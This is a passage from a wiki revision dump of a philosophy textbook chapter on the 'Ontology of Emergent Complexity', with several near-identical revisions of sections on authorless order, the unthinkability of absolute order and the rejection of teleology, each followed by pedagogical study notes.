possible in response to alterity. Only this order — always provisional, always exposed, always at risk — can be considered ontologically legitimate. And perhaps here lies the most demanding task of contemporary thought: not to refuse order, but to deactivate its automatism. To undo it as dogma, reopening it as traversal. To recognise that every gesture of ordering is also a gesture of exclusion, and that ethics lies not in fidelity to structure, but in the courage to listen to what the prevailing order cannot yet recognise. == 🜂 Reading Colloquium – Pedagogical Framing == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === Post-nomination raises an immediate question: who performs the symbolic consolidation of order? This subsection moves from retrospective narration to distributed production. It asks how a coherent regime can arise from many local actions without being designed as a whole. === 2. Philosophical Problem at Stake === The difficulty lies in explaining coherence without smuggling in a sovereign designer. Languages, markets, scientific classifications, and institutions involve intentional agents, yet their overall organisation normally exceeds any participant's plan. Authorship and agency are different questions. The absence of a single author does not imply the absence of agents, decisions, or material consequences. === 3. Core Thesis and Conceptual Reorganization === Functional couplings among practices, devices, habits, and symbols can generate an order that no participant authored in its entirety. Collective naming later makes that order visible and repeatable. Responsibility consequently becomes distributed rather than erased: participants bear different degrees of responsibility according to their capacity to sustain, contest, or revise the arrangements in which they act. === 4. Key Concepts and Their Articulation === Authorless order concerns the absence of a sovereign plan. Functional coupling explains the production of coherence. Collective naming stabilises a shared regime of legibility. Distributed responsibility tracks unequal participation and unequal power within that regime; it must never be reduced to the formula “everyone and no one is responsible”. === 5. Implications for Readers and Pedagogical Pathways === Choose an institution or convention and map four elements: the participants, the material infrastructures, the feedback mechanisms that reproduce it, and the differences it excludes. Then ask who can change each element. This turns the absence of a single author into a more exact analysis of agency and accountability rather than an excuse for political resignation. {{BookCat}} iwv70n2xljq2cohp38iw9iswao5it6u 4670838 4670779 2026-09-18T02:01:53Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670838 wikitext text/x-wiki == 3.3.5 – Order as a Symbolic Gesture Without Author == No order explains itself. What presents itself as legitimate, coherent, stable structure — whether in knowledge, in law, in language, or in form — is never a given, but an effect. And more than that: an effect that conceals itself as such. Every consolidated order functions as a device for naturalising what was, in its genesis, pure operational contingency. There is no order that was not, first, organised instability. But this past of hesitation is erased when the order imposes itself as evidence through successive reformulations that update the criteria of legibility. Order erases its origin not because it stabilised forever, but because it has been reformulated so many times that its original emergence has become unreadable. As Derrida suggested, the archive is never static: it is a field of revisions, updates, and erasures, always in symbolic dispute (Derrida 1995, 17). The Ontology of Emergent Complexity demands that this evidence be dismantled. Not to dissolve order into chaos, nor to yield to the fascination with deconstruction — but to restore to order its real status: that of a belated symbolic gesture, without author, without origin, without guarantees. Order does not result from a plan, nor from a subject. It does not obey a transcendent logos, nor does it emerge as an ideal form. Order is a symbolic artefact posterior to the event — a reconfiguration whose successive reformulations erase the traces of its own emergence. And it is precisely this erasure that renders order dangerous: by concealing its operativity, it becomes closure. Michel Foucault was perhaps the one who most incisively unveiled this functioning of order as a regime of visibility and exclusion. In his work on archives, epistemes, and knowledge-power devices, Foucault showed that what counts as true, rational, or valid in a given epoch does not derive from the progress of the spirit, but from a set of historical, technical, and political conditions that make certain statements possible and others unthinkable (Foucault 1972, 135). The order of knowledge is not the victory of reason — it is the sedimentation of historically situated criteria of legibility. And these criteria operate without author, without legislator. Their efficacy lies precisely in appearing neutral. The Ontology of Emergent Complexity radicalises this reading: it rejects not only the idea of a historical reason, but also the notion that order, even when situated, can be thought of as structure. Against all ontology of order as form, it proposes an ontology of order as a transitory symbolic function — a regime of legibility that persists only while it remains operationally effective. Order is not a form to which the real adapts. It is a symbolic gesture that survives as long as it manages to organise instability locally. Gilbert Simondon provides here a decisive contribution. By thinking individuation as a process and not as a state, Simondon dissolves the idea of order as endpoint or equilibrium. Order, for Simondon, is always metastable — that is, a provisional result of internal tensions in a system that has not ceased to transform itself (Simondon 2009, 6). There is no definitive order: there are systems in continuous reorganisation, passing through phases of local stability. The Ontology of Emergent Complexity takes up this model but shifts its centre: material organisation may persist without being named, while “order” in the symbolic sense requires a regime that sustains and repeats a form of legibility. Even this repetition is unstable — it remains exposed to revision and dissipation. The question then is not “where does order come from?”, but “how does a material organisation become symbolically legible, and with what effects?”. Order is not the precondition of intelligibility; it is its product. It arises when a configuration of complex matter — technical, living, or social — reaches a threshold of consistency that allows it to be symbolised, represented, and normativised. But this symbolisation does not reveal a hidden structure. It organises a field of forces according to a regime of legibility that is always situated, partial, and politically saturated. At this point, it becomes necessary to mobilise Deleuze. In his critique of the repetition of the same and the coding of differences, Deleuze shows that order is often the name given to the suppression of what escapes (Deleuze [1968] 1994, 28). That which does not fit the pattern, does not submit to the function, does not repeat itself in a recognisable way, is excluded as noise, error, or dysfunction. Order operates by filtering: that which escapes the symbolic matrix of repetition is eliminated from the field of recognised differences. This filtering has material consequences. An institutional order does not determine what can exist in the real; it determines what can count as legible, admissible, or actionable within that order. And, as Deleuze would emphasise, what escapes recognition is not thereby noise — it is differentiation that has not yet found a mode of appearance within the prevailing regime (Deleuze [1968] 1994, 56). That is why every order is also an economy of exclusion. By organising the legibility of the real, it simultaneously establishes its zones of silence: what will not be said, what will not be recognised, what will be erased as incoherent. Order, as a symbolic gesture, always has a visible side and a sacrificial side. What appears as structure is always the result of an operational choice: a wager on what deserves to remain and what can be forgotten. As also noted by authors in the decolonial tradition such as Denise Ferreira da Silva (2007, 33) or Gloria Anzaldúa (1987, 25), order is never neutral — it renders certain existences literally unthinkable within a dominant regime of rationality. Whitehead offers here a complementary language: order as “nexus” — an interweaving of events that acquires provisional consistency. For Whitehead, order is never an external imposition, but a relational emergence (Whitehead [1929] 1978, 21). It results from multiple prehensions organised around an operational function, but without centre or hierarchy. In this sense, order is a coagulation — not a command. A field of relation that stabilises through local compatibilities, not by a universal structure. This reading converges with the treatment of order defended here: order does not come from above; it results from the functional persistence of arrangements that have proven capable of operating. The convergence is nonetheless partial. The present framework does not take over prehension as a universal relation, nor the "occasion of experience" as a proto-subjective atom: organisation, on the account defended in this book, is distributed, non-experiential, and never cosmological in scope (§3.1.3). But order, once symbolically stabilised, tends to forget its operativity. It becomes normative, coercive, self-referential. Its strength no longer comes from its symbolic efficacy, but from its disciplinary repetition. Here lies the greatest risk: order, forgotten as gesture, begins to function as essence. And once naturalised, it becomes an instrument of closure of the possible. A revealing example can be observed in biology. The classification of life into kingdoms, phyla, classes, orders, genera, and species is a revisable symbolic grid: an epistemic architecture that stabilises a descriptive regime across the variation of living processes. Taxonomic categories track material differences, but no single hierarchy exhausts those differences or converts its own historical scheme into the intrinsic structure of life. Biological science draws cuts, establishes relations, and names entities in order to operate cognitively on that variation. The danger begins when an effective classification is mistaken for the final architecture of the real. This conversion of an operational instrument into an ontological given is precisely the gesture that the Ontology of Emergent Complexity seeks to expose. Every classificatory act can disclose patterns while still excluding differences that its present criteria cannot recognise. The ethics of the Ontology of Emergent Complexity stands radically opposed to such closure. Because order, by refusing unfinishedness, becomes anti-symbolic. By excluding otherness, it prevents listening. By imposing coherence, it destroys the interval. Against order as saturated normativity, it proposes order as a reopenable gesture — a form aware of its own constructed character and capable of revising the criteria by which it recognises, excludes, and responds. This ethical gesture implies refusing the authority of order as a criterion of truth. Instead, the criterion of stability is replaced by that of responsivity: what should remain is not what has already been legitimised, but what continues to reorganise the field of the possible in response to alterity. Only this order — always provisional, always exposed, always at risk — can be considered ontologically legitimate. And perhaps here lies the most demanding task of contemporary thought: not to refuse order, but to deactivate its automatism. To undo it as dogma, reopening it as traversal. To recognise that every gesture of ordering is also a gesture of exclusion, and that ethics lies not in fidelity to structure, but in the courage to listen to what the prevailing order cannot yet recognise. == 🜂 Reading Colloquium – Pedagogical Framing == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === Post-nomination raises an immediate question: who performs the symbolic consolidation of order? This subsection moves from retrospective narration to distributed production. It asks how a coherent regime can arise from many local actions without being designed as a whole. === 2. Philosophical Problem at Stake === The difficulty lies in explaining coherence without smuggling in a sovereign designer. Languages, markets, scientific classifications, and institutions involve intentional agents, yet their overall organisation normally exceeds any participant's plan. Authorship and agency are different questions. The absence of a single author does not imply the absence of agents, decisions, or material consequences. === 3. Core Thesis and Conceptual Reorganisation === Functional couplings among practices, devices, habits, and symbols can generate an order that no participant authored in its entirety. Collective naming later makes that order visible and repeatable. Responsibility consequently becomes distributed rather than erased: participants bear different degrees of responsibility according to their capacity to sustain, contest, or revise the arrangements in which they act. === 4. Key Concepts and Their Articulation === Authorless order concerns the absence of a sovereign plan. Functional coupling explains the production of coherence. Collective naming stabilises a shared regime of legibility. Distributed responsibility tracks unequal participation and unequal power within that regime; it must never be reduced to the formula “everyone and no one is responsible”. === 5. Implications for Readers and Pedagogical Pathways === Choose an institution or convention and map four elements: the participants, the material infrastructures, the feedback mechanisms that reproduce it, and the differences it excludes. Then ask who can change each element. This turns the absence of a single author into a more exact analysis of agency and accountability rather than an excuse for political resignation. {{BookCat}} pr30m3mogqslmykapiiodt90xd3q8dq 0 476984 4670749 4670271 2026-09-17T23:41:42Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670749 wikitext text/x-wiki == 3.3.4 – The Unthinkability of Absolute Order: The Real as a Field of Variation == The history of Western philosophy may be read as a long effort to domesticate variation. From the earliest cosmogonies to contemporary systems theories, thought seems driven by a recurring impulse: to make the real coincide with a form, to submit instability to rationality, to inscribe multiplicity into order. Classical philosophy did not think becoming—it always sought to transform it into structure. Even when confronting change, it searched within it for a rhythm, a logos, a plan—an archetype of intelligibility that would rescue thought from the vertigo of matter. Plato is perhaps the inaugural example of this gesture. In the ''Timaeus'', the origin of the cosmos is attributed to a demiurge who, by contemplating the world of ideas, imposes order on sensible chaos. Order is cosmic because it copies the intelligible, and the sensible acquires value only by mirroring eternal form. Matter itself, in this view, resists reason—and must be shaped. Thought thus arises from a profound distrust of instability: the visible world must be corrected by an ordering principle. Aristotle does not abandon the idea of order, but reconfigures it as immanent potency. Instead of transcendental models, he proposes ends inscribed in physis itself. Each being has a telos, a natural end, that guides its development. But structure remains: the real is thought from a form that precedes or orients it. Even change is captured—not as creative variation, but as realization of an essence. Christianity inherits and intensifies this matrix. Order becomes divine: a reflection of a creator logos, a sacred architecture. From Augustine to Thomas Aquinas, instability becomes suspect—deviation, sin, imperfection. Time is not a space of emergence, but of the fulfilment of a plan. Thought does not listen to the real—it obeys revelation. Modernity, even as it secularises reason, preserves the skeleton of this symbolic economy. Descartes conceives the world as a mechanism governed by clear and distinct laws; Leibniz seeks a pre‑established harmony; Kant defines possible experience by means of a priori categories that order the manifold. Modern reason no longer needs God to guarantee order—it itself constitutes the structure of the real. Hegel, for his part, takes this logic to the extreme. History is conceived as the progressive realization of spirit, where each conflict resolves into a higher synthesis. Order becomes movement—but a teleological movement, advancing toward an absolute rational end. Becoming is not creation, but fulfilment. Totality is always already inscribed. This diagnosis does not seek to reject the value of such systems. But it denounces in them a shared assumption: the belief that the real can ultimately be submitted to order. Whether transcendent or immanent, theological or rational, static or dialectical, order is conceived as that which founds, structures and guarantees. Classical and modern philosophy did not think the real as variation—they thought it as a problem of form. It is against this genealogy that the Ontology of Emergent Complexity is inscribed. Not to dissolve thought into indeterminate relativism, but to liberate variation from its status as error. Against the obsession with an ultima­ structure, we propose the real as a continuous field of reorganisation, where no form fixes itself, no plan subsists, no model imposes itself as totality. Absolute order is not only non-existent—it is ontologically unthinkable. Unthinkable not for cognitive insufficiency, but for structural inadequacy: if thought is attentive to the real, it already lies within variation—not outside it, as an exterior vantage point. Because matter never rests. Because every system that organises is already disorganising. Because the real does not cease to reconfigure itself in a play of couplings, tensions, ruptures and recombinations. The idea of total order is possible only as symbolic abstraction—never as description of the real. Every attempt to think order as fixed structure ignores that form itself is already the result of prior variation. Gilbert Simondon is here a decisive ally. By rejecting individuation as conclusion or state, he proposes that beings are defined not by essences but by processes. Individuation is always metastable: a provisional equilibrium born of tension between internal and external forces . There is no rest—only operative pauses. Form does not reveal a plan; it signals an interval in reorganisation. In this sense, thinking order as end or structure is to betray the process. Also in Whitehead we find this refusal of fixity. For him, reality is made of “occasions of experience”—relational events enmeshed in ''nexūs'' of concrescence. What seems stable is only local consistency of prehensions, never an externally imposed superior order. Order does not command—it emerges. It does not totalise—it coagulates. Its field of validity is always provisional. From this basis, we can assert: the real is variation. Not variation as accident, but as a structural mode of existence. There is no prior unity that divides; there is difference that crosses, couples, expresses. Instability is not failure—it is the condition of emergence. What we call “order” is merely a local effect of legibility. A gesture of symbolic inscription that captures, for an instant, turbulence. But even that local order is not strong stability. It is, at most, an expressive pause—a configuration which, via functional compatibility, acquires transient consistency. Like the crest of a wave, like a momentary balance in an ecosystem, like the rhythmic suspension in a musical phrase. When order exists, it does not suspend variation—it merely curves it at a point of reading. No form exists that does not dissolve. No system exists that is not exposed to drift. No structure exists that does not contain within it the seed of its own reorganisation. Contemporary science already recognises this principle. Non‑equilibrium thermodynamics (Prigogine), dynamic systems theory, morphogenesis biology (Varela), chaos mathematics—all show that complex systems do not tend toward rest but toward forms of organised instability. Life, far from seeking equilibrium, is continuous variation of survival conditions. The cosmos, far from an ordered architecture, is a field of asymmetrically expanding energy. Language, far from a closed code, is a machinery of slippages, tropisms, hesitations and ruptures. As Judith Butler already observes, normativity is not the expression of original truth, but the reiterated effect of regulated performativity—without origin and without subject (Butler, 1990, p. 2). Order, even when efficacious, is always the result of operative repetition, not essence. In this context, to think absolute order is simply not to think. It is to yield to the temptation of closure. It is to confuse the model with the real. It is to turn a symbolic operation (that of stabilising a field in order to act upon it) into an ontological principle. And it is also, ethically, to yield to dogma. Because every absolute order excludes the unfinished, the Other, the possible. To reject absolute order is to accept the vulnerability of thought. To abandon the illusion of final synthesis, reconciled totality, totalising coherence. To think without closing. To sustain the listening to variation, even when it dissolves form. To not desire repose—but potency of reorganisation. Philosophical thought, as an ethical gesture, must refuse the promise of ultimate order. Because that promise is always closure: it prevents the listening to what has not yet been inscribed, blocks the emergence of what has not yet appeared, silences what does not fit the form. Only thought that embraces its own incompletion can become responsive to the complexity of the real. Only thought that knows itself flawed can receive what has not yet spoken—and it is that flaw that makes it just. The Ontology of Emergent Complexity does not propose a new order. It proposes the radical listening to the operative disorder that underlies every form. There is no map. There is no plan. There are successive reorganisations—each provisional, each already overflowed the moment it inscribes. Order does not suspend the real—it merely curves it for an instant, until it unfolds once more. == 🜂 Reading Colloquium – Pedagogical Framing   == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === --- === 2. Philosophical Problem at Stake === --- === 3. Core Thesis and Conceptual Reorganization === --- === 4. Key Concepts and Their Articulation === --- === 5. Implications for Readers and Pedagogical Pathways === ---{{BookCat}} lb0rjbtl4boi7r9ar1wruudj94cjq09 4670780 4670749 2026-09-18T01:11:12Z DavidCota64 3507033 Correct the section number, preserve and refine the chapter, and complete the pedagogical colloquium 4670780 wikitext text/x-wiki == 3.3.6 – The Unthinkability of Absolute Order: The Real as a Field of Variation == The history of Western philosophy may be read as a long effort to domesticate variation. From the earliest cosmogonies to contemporary systems theories, thought seems driven by a recurring impulse: to make the real coincide with a form, to submit instability to rationality, to inscribe multiplicity into order. Classical philosophy did not think becoming — it always sought to transform it into structure. Even when confronting change, it searched within it for a rhythm, a logos, a plan — an archetype of intelligibility that would rescue thought from the vertigo of matter. Plato is perhaps the inaugural example of this gesture. In the ''Timaeus'', the origin of the cosmos is attributed to a demiurge who, by contemplating the world of ideas, imposes order on sensible chaos. Order is cosmic because it copies the intelligible, and the sensible acquires value only by mirroring eternal form. Matter itself, in this view, resists reason — and must be shaped. Thought thus arises from a profound distrust of instability: the visible world must be corrected by an ordering principle. Aristotle does not abandon the idea of order, but reconfigures it as immanent potency. Instead of transcendental models, he proposes ends inscribed in physis itself. Each being has a telos, a natural end, that guides its development. But structure remains: the real is thought from a form that precedes or orients it. Even change is captured — not as creative variation, but as realisation of an essence. Christianity inherits and intensifies this matrix. Order becomes divine: a reflection of a creator logos, a sacred architecture. From Augustine to Thomas Aquinas, instability becomes suspect — deviation, sin, imperfection. Time is not a space of emergence, but of the fulfilment of a plan. Thought does not listen to the real — it obeys revelation. Modernity, even as it secularises reason, preserves the skeleton of this symbolic economy. Descartes conceives the world as a mechanism governed by clear and distinct laws; Leibniz seeks a pre‑established harmony; Kant defines possible experience by means of a priori categories that order the manifold. Modern reason no longer needs God to guarantee order — it itself constitutes the structure of the real. Hegel, for his part, takes this logic to the extreme. History is conceived as the progressive realisation of spirit, where each conflict resolves into a higher synthesis. Order becomes movement — but a teleological movement, advancing towards an absolute rational end. Becoming is not creation, but fulfilment. Totality is always already inscribed. This diagnosis does not seek to reject the value of such systems. But it denounces in them a shared assumption: the belief that the real can ultimately be submitted to order. Whether transcendent or immanent, theological or rational, static or dialectical, order is conceived as that which founds, structures and guarantees. Classical and modern philosophy, in the trajectories examined here, did not think the real as variation — they thought it as a problem of form. It is against this genealogy that the Ontology of Emergent Complexity is inscribed. Not to dissolve thought into indeterminate relativism, but to liberate variation from its status as error. Against the obsession with an ultimate structure, we propose the real as a continuous field of reorganisation, where no form fixes itself, no plan subsists, no model imposes itself as totality. Absolute order is not only non-existent — it is ontologically unthinkable. Unthinkable not for cognitive insufficiency, but for structural inadequacy: if thought is attentive to the real, it already lies within variation — not outside it, as an exterior vantage point. Because matter never rests. Because every system that organises is already disorganising. Because the real does not cease to reconfigure itself in a play of couplings, tensions, ruptures and recombinations. The idea of total order is possible only as symbolic abstraction — never as description of the real. Every attempt to think order as fixed structure ignores that form itself is already the result of prior variation. Gilbert Simondon is here a decisive ally. By rejecting individuation as conclusion or state, he proposes that beings are defined not by essences but by processes. Individuation is always metastable: a provisional equilibrium born of tension between internal and external forces. There is no rest — only operative pauses. Form does not reveal a plan; it signals an interval in reorganisation. In this sense, thinking order as end or structure is to betray the process. Also in Whitehead we find this refusal of fixity. For him, reality is made of “occasions of experience” — relational events enmeshed in ''nexūs'' of concrescence. The present framework borrows the relational grammar of this account while continuing to refuse its experiential interiority (§3.1.3). What seems stable is only local consistency of prehensions, never an externally imposed superior order. Order does not command — it emerges. It does not totalise — it coagulates. Its field of validity is always provisional. From this basis, we can assert: the real is variation. Not variation as accident, but as a structural mode of existence. There is no prior unity that divides; there is difference that crosses, couples, expresses. Instability is not failure — it is the condition of emergence. What we call “order” is a local effect of legibility: a symbolic organisation that renders a portion of turbulence intelligible without exhausting it. But even that local order is not strong stability. It is, at most, an expressive pause — a configuration which, via functional compatibility, acquires transient consistency. Like the crest of a wave, like a momentary balance in an ecosystem, like the rhythmic suspension in a musical phrase. When order exists, it does not suspend variation — it merely curves it at a point of reading. No form exists that does not dissolve. No system exists that is not exposed to drift. No structure exists that does not contain within it the seed of its own reorganisation. Contemporary science already recognises this principle. Non‑equilibrium thermodynamics (Prigogine), dynamic systems theory, morphogenesis biology (Varela), chaos mathematics — all show that complex systems do not tend towards rest but towards forms of organised instability. Life, far from seeking equilibrium, is continuous variation of survival conditions. The cosmos, far from an ordered architecture, is a field of asymmetrically expanding energy. Language, far from a closed code, is a machinery of slippages, tropisms, hesitations and ruptures. As Judith Butler already observes, normativity is not the expression of original truth, but the reiterated effect of regulated performativity — without origin and without subject (Butler 1990, 2). Order, even when efficacious, is always the result of operative repetition, not essence. In this context, to think absolute order is simply not to think. It is to yield to the temptation of closure. It is to confuse the model with the real. It is to turn a symbolic operation (that of stabilising a field in order to act upon it) into an ontological principle. And it is also, ethically, to yield to dogma. Because every absolute order excludes the unfinished, the Other, the possible. To reject absolute order is to accept the vulnerability of thought. To abandon the illusion of final synthesis, reconciled totality, totalising coherence. To think without closing. To sustain the listening to variation, even when it dissolves form. To not desire repose — but potency of reorganisation. Philosophical thought, as an ethical gesture, must refuse the promise of ultimate order. Because that promise is always closure: it prevents the listening to what has not yet been inscribed, blocks the emergence of what has not yet appeared, silences what does not fit the form. Only thought that embraces its own incompletion can become responsive to the complexity of the real. Only thought that knows itself partial can receive what has not yet spoken — and it is that acknowledged partiality that keeps judgment revisable. The Ontology of Emergent Complexity does not propose a new order. It proposes radical attention to the variation that persists within and beyond every form. There is no map. There is no plan. There are successive reorganisations — each provisional, each exceeded by the variation that continues through it. Order does not suspend the real — it merely curves it for an instant, until it unfolds once more. == 🜂 Reading Colloquium – Pedagogical Framing == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === This subsection draws together the preceding account of local torsion, functional coupling, post-nomination, and distributed authorship. Their combined consequence is stronger than the claim that no absolute order has yet been achieved: a total and final ordering is structurally incompatible with a real that continues to vary. === 2. Philosophical Problem at Stake === Could a sufficiently comprehensive system map, regulate, or explain the real without remainder? Such a system would need to stand outside variation, include every scale, and anticipate every new compatibility. Yet the system itself would remain a material configuration within the field it sought to close. === 3. Core Thesis and Conceptual Reorganization === Operative excess means that the operations available to a material field exceed its present organisation. Every order is therefore local, conditioned, and revisable. No hidden infinity is required. The claim does not depend on an infinite stock of latent possibilities or on human ignorance; it follows from the continued production of relations that no current configuration can exhaust in advance. === 4. Key Concepts and Their Articulation === The field of variation names the real as ongoing reorganisation. Operative excess prevents a present form from becoming an exhaustive limit. Partiality describes the situated reach of every model or institution, while revisability is the symbolic capacity to respond when excluded differences become legible. === 5. Implications for Readers and Pedagogical Pathways === Three distinctions prevent misunderstanding: provisional does not mean negligible, partial does not mean arbitrary, and open-ended does not mean directionless. Apply them to a scientific model or a legal institution. Its limits do not make it useless; they determine the conditions under which it remains answerable to what exceeds it. {{BookCat}} qww0x067tqt1ztmjd042uct52nxgg2f 4670839 4670780 2026-09-18T02:01:57Z DavidCota64 3507033 Use British English consistently in prose and pedagogical headings 4670839 wikitext text/x-wiki == 3.3.6 – The Unthinkability of Absolute Order: The Real as a Field of Variation == The history of Western philosophy may be read as a long effort to domesticate variation. From the earliest cosmogonies to contemporary systems theories, thought seems driven by a recurring impulse: to make the real coincide with a form, to submit instability to rationality, to inscribe multiplicity into order. Classical philosophy did not think becoming — it always sought to transform it into structure. Even when confronting change, it searched within it for a rhythm, a logos, a plan — an archetype of intelligibility that would rescue thought from the vertigo of matter. Plato is perhaps the inaugural example of this gesture. In the ''Timaeus'', the origin of the cosmos is attributed to a demiurge who, by contemplating the world of ideas, imposes order on sensible chaos. Order is cosmic because it copies the intelligible, and the sensible acquires value only by mirroring eternal form. Matter itself, in this view, resists reason — and must be shaped. Thought thus arises from a profound distrust of instability: the visible world must be corrected by an ordering principle. Aristotle does not abandon the idea of order, but reconfigures it as immanent potency. Instead of transcendental models, he proposes ends inscribed in physis itself. Each being has a telos, a natural end, that guides its development. But structure remains: the real is thought from a form that precedes or orients it. Even change is captured — not as creative variation, but as realisation of an essence. Christianity inherits and intensifies this matrix. Order becomes divine: a reflection of a creator logos, a sacred architecture. From Augustine to Thomas Aquinas, instability becomes suspect — deviation, sin, imperfection. Time is not a space of emergence, but of the fulfilment of a plan. Thought does not listen to the real — it obeys revelation. Modernity, even as it secularises reason, preserves the skeleton of this symbolic economy. Descartes conceives the world as a mechanism governed by clear and distinct laws; Leibniz seeks a pre‑established harmony; Kant defines possible experience by means of a priori categories that order the manifold. Modern reason no longer needs God to guarantee order — it itself constitutes the structure of the real. Hegel, for his part, takes this logic to the extreme. History is conceived as the progressive realisation of spirit, where each conflict resolves into a higher synthesis. Order becomes movement — but a teleological movement, advancing towards an absolute rational end. Becoming is not creation, but fulfilment. Totality is always already inscribed. This diagnosis does not seek to reject the value of such systems. But it denounces in them a shared assumption: the belief that the real can ultimately be submitted to order. Whether transcendent or immanent, theological or rational, static or dialectical, order is conceived as that which founds, structures and guarantees. Classical and modern philosophy, in the trajectories examined here, did not think the real as variation — they thought it as a problem of form. It is against this genealogy that the Ontology of Emergent Complexity is inscribed. Not to dissolve thought into indeterminate relativism, but to liberate variation from its status as error. Against the obsession with an ultimate structure, we propose the real as a continuous field of reorganisation, where no form fixes itself, no plan subsists, no model imposes itself as totality. Absolute order is not only non-existent — it is ontologically unthinkable. Unthinkable not for cognitive insufficiency, but for structural inadequacy: if thought is attentive to the real, it already lies within variation — not outside it, as an exterior vantage point. Because matter never rests. Because every system that organises is already disorganising. Because the real does not cease to reconfigure itself in a play of couplings, tensions, ruptures and recombinations. The idea of total order is possible only as symbolic abstraction — never as description of the real. Every attempt to think order as fixed structure ignores that form itself is already the result of prior variation. Gilbert Simondon is here a decisive ally. By rejecting individuation as conclusion or state, he proposes that beings are defined not by essences but by processes. Individuation is always metastable: a provisional equilibrium born of tension between internal and external forces. There is no rest — only operative pauses. Form does not reveal a plan; it signals an interval in reorganisation. In this sense, thinking order as end or structure is to betray the process. Also in Whitehead we find this refusal of fixity. For him, reality is made of “occasions of experience” — relational events enmeshed in ''nexūs'' of concrescence. The present framework borrows the relational grammar of this account while continuing to refuse its experiential interiority (§3.1.3). What seems stable is only local consistency of prehensions, never an externally imposed superior order. Order does not command — it emerges. It does not totalise — it coagulates. Its field of validity is always provisional. From this basis, we can assert: the real is variation. Not variation as accident, but as a structural mode of existence. There is no prior unity that divides; there is difference that crosses, couples, expresses. Instability is not failure — it is the condition of emergence. What we call “order” is a local effect of legibility: a symbolic organisation that renders a portion of turbulence intelligible without exhausting it. But even that local order is not strong stability. It is, at most, an expressive pause — a configuration which, via functional compatibility, acquires transient consistency. Like the crest of a wave, like a momentary balance in an ecosystem, like the rhythmic suspension in a musical phrase. When order exists, it does not suspend variation — it merely curves it at a point of reading. No form exists that does not dissolve. No system exists that is not exposed to drift. No structure exists that does not contain within it the seed of its own reorganisation. Contemporary science already recognises this principle. Non‑equilibrium thermodynamics (Prigogine), dynamic systems theory, morphogenesis biology (Varela), chaos mathematics — all show that complex systems do not tend towards rest but towards forms of organised instability. Life, far from seeking equilibrium, is continuous variation of survival conditions. The cosmos, far from an ordered architecture, is a field of asymmetrically expanding energy. Language, far from a closed code, is a machinery of slippages, tropisms, hesitations and ruptures. As Judith Butler already observes, normativity is not the expression of original truth, but the reiterated effect of regulated performativity — without origin and without subject (Butler 1990, 2). Order, even when efficacious, is always the result of operative repetition, not essence. In this context, to think absolute order is simply not to think. It is to yield to the temptation of closure. It is to confuse the model with the real. It is to turn a symbolic operation (that of stabilising a field in order to act upon it) into an ontological principle. And it is also, ethically, to yield to dogma. Because every absolute order excludes the unfinished, the Other, the possible. To reject absolute order is to accept the vulnerability of thought. To abandon the illusion of final synthesis, reconciled totality, totalising coherence. To think without closing. To sustain the listening to variation, even when it dissolves form. To not desire repose — but potency of reorganisation. Philosophical thought, as an ethical gesture, must refuse the promise of ultimate order. Because that promise is always closure: it prevents the listening to what has not yet been inscribed, blocks the emergence of what has not yet appeared, silences what does not fit the form. Only thought that embraces its own incompletion can become responsive to the complexity of the real. Only thought that knows itself partial can receive what has not yet spoken — and it is that acknowledged partiality that keeps judgment revisable. The Ontology of Emergent Complexity does not propose a new order. It proposes radical attention to the variation that persists within and beyond every form. There is no map. There is no plan. There are successive reorganisations — each provisional, each exceeded by the variation that continues through it. Order does not suspend the real — it merely curves it for an instant, until it unfolds once more. == 🜂 Reading Colloquium – Pedagogical Framing == (For students and readers in formation. This section does not replace the text — it accompanies it.) === 1. Placement of the Text within the Architecture of the Work === This subsection draws together the preceding account of local torsion, functional coupling, post-nomination, and distributed authorship. Their combined consequence is stronger than the claim that no absolute order has yet been achieved: a total and final ordering is structurally incompatible with a real that continues to vary. === 2. Philosophical Problem at Stake === Could a sufficiently comprehensive system map, regulate, or explain the real without remainder? Such a system would need to stand outside variation, include every scale, and anticipate every new compatibility. Yet the system itself would remain a material configuration within the field it sought to close. === 3. Core Thesis and Conceptual Reorganisation === Operative excess means that the operations available to a material field exceed its present organisation. Every order is therefore local, conditioned, and revisable. No hidden infinity is required. The claim does not depend on an infinite stock of latent possibilities or on human ignorance; it follows from the continued production of relations that no current configuration can exhaust in advance. === 4. Key Concepts and Their Articulation === The field of variation names the real as ongoing reorganisation. Operative excess prevents a present form from becoming an exhaustive limit. Partiality describes the situated reach of every model or institution, while revisability is the symbolic capacity to respond when excluded differences become legible. === 5. Implications for Readers and Pedagogical Pathways === Three distinctions prevent misunderstanding: provisional does not mean negligible, partial does not mean arbitrary, and open-ended does not mean directionless. Apply them to a scientific model or a legal institution. Its limits do not make it useless; they determine the conditions under which it remains answerable to what exceeds it. {{BookCat}} ab4nq5vfhz0ojjmrptawd351l8bkyjl 0 476985 4670750 4670273 2026-09-17T23:41:46Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670750 wikitext text/x-wiki == 3.3.7 – Ontological and Ethical Consequences == '''Introduction''' If matter contains no pre-inscribed finality, the real configures itself through local reconfigurations that provisionally stabilise operative compatibilities. The emergence of the new does not aim to remedy a lack, but results from an operative excess—a relational pressure that forces matter to reorganise itself, without an implicit script or end. Within this framework, knowledge does not uncover essences; rather, it '''inscribes functional patterns''' under historically situated conditions—a perspective that echoes the primacy of intervention over representation (Hacking, 1983). The symbol, in turn, is understood as a material structure that represents and operates upon other material structures. This ontology of variation, where order and meaning emerge from immanent operations and not from transcendent foundations, engages directly with individuation as the resolution of metastable tensions (Simondon, 2005), with the ontological primacy of difference (Deleuze, 1968), with the agency of matter in the production of phenomena (Barad, 2007), and with the view that natural laws form a "patchwork" of local regularities (Cartwright, 1999). '''Rejection of Teleology as a Moral or Cosmic Structure''' Teleology, by converting order into destiny and history into a directed march, presupposed immanent ends that would govern nature and culture. The OEC [Ontology of Emergent Complexity] rejects this grammar: nothing in the real demands perfection, a final synthesis, or inscribed improvement. Emergence stems from gradients and excesses that install new compatibilities—a dynamic akin to the '''resolution of tensions within a metastable field''' (Simondon, 2005)—and not from the realisation of a ''telos''. Order is an expressive pause within continuous turbulence, approaching the conception of stability as a local exception in 